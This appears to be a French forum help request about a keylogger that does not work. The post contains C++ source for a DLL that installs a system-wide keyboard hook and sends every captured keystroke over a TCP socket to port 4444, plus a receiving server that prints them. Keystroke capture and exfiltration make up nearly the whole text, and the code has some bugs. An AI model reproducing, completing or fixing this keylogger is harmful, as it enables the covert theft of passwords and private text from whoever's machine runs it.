Le probleme est que je réalise un hook sur mon clavier et que chaque frappe interceptée je veux l'envoyer via un socket à un serveur, mais des que j'envois le send() le serveur n'affiche rien et pourtant je suis bien connecté, j'arrive pas à comprendre pourquoi. Merci d'avance.
Code de la DLL :#include "DLL.h"
#include "stdafx.h"
#include <iostream>
#include <stdio.h>
//winsock
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
//variables general
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN sin;
char buffer[512];
//\\winsock
//Variables
HHOOK hook;
static HINSTANCE hDLLInstance;
/*******************************************/
void InitConnexion()
{
WSAStartup(MAKEWORD(2,0), &WSAData);
sock=socket(AF_INET, SOCK_STREAM, 0);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family = AF_INET;
sin.sin_port = htons(4444);
int status;
status=connect(sock, (SOCKADDR *)&sin, sizeof(sin));
if(status==INVALID_SOCKET)
{
MessageBox(NULL,
"Erreur connexion",
"ERREUR",MB_OK|MB_ICONERROR);
}
}
void SendChar(char c)
{
std::string Str;
Str = c;
sprintf (buffer, "%s", Str.c_str());
send (sock, buffer, strlen (buffer), 0);
}
/********************************************/
//main
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
InitConnexion();
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hDLLInstance = hInstance; //Garde en mémoire l'instance pour SetWindowsHook()
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardHook(int nCode, WORD wParam, DWORD lParam)
{
char ch;
LRESULT NextHook = CallNextHookEx(hook, nCode, wParam, lParam);
//Prépare la valeur de retour de la fonction et passe le message à un autre Hook
//Si la frappe a déjà été traitée (c'est une répétition)
if(!((DWORD)lParam & 0x40000000 && (HC_ACTION==nCode)))
return NextHook; //alors on passe la main à un autre Hook
BYTE Keyboard_state[256];
GetKeyboardState(Keyboard_state);
WORD wBuf;
UINT ScanCode=0;
ToAscii(wParam,ScanCode,Keyboard_state,&wBuf,0);
ch=((char)wBuf);
SendChar(ch);
return NextHook;//Passe la main à un autre Hook
}
__declspec(dllexport) int Start()
{
hook = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardHook,
hDLLInstance,
0);
return ((hook!=0)?1:0);
}
Code du serveur :#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <stdio.h>
#include <iostream>
#define BUFSIZ 512
void main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);
SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;
char buffer[BUFSIZ];
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_family = AF_INET;
sin.sin_port = htons(4444);
bind(sock, (SOCKADDR *)&sin, sizeof(sin));
listen(sock, 0);int sinsize = sizeof(csin);
csock = accept(sock, (SOCKADDR *)&csin, &sinsize);
while(1)
{
memset(buffer, '\0', BUFSIZ); //on vide le buffer
recv(csock, buffer, sizeof(buffer), 0);
printf("%s",buffer);
}
}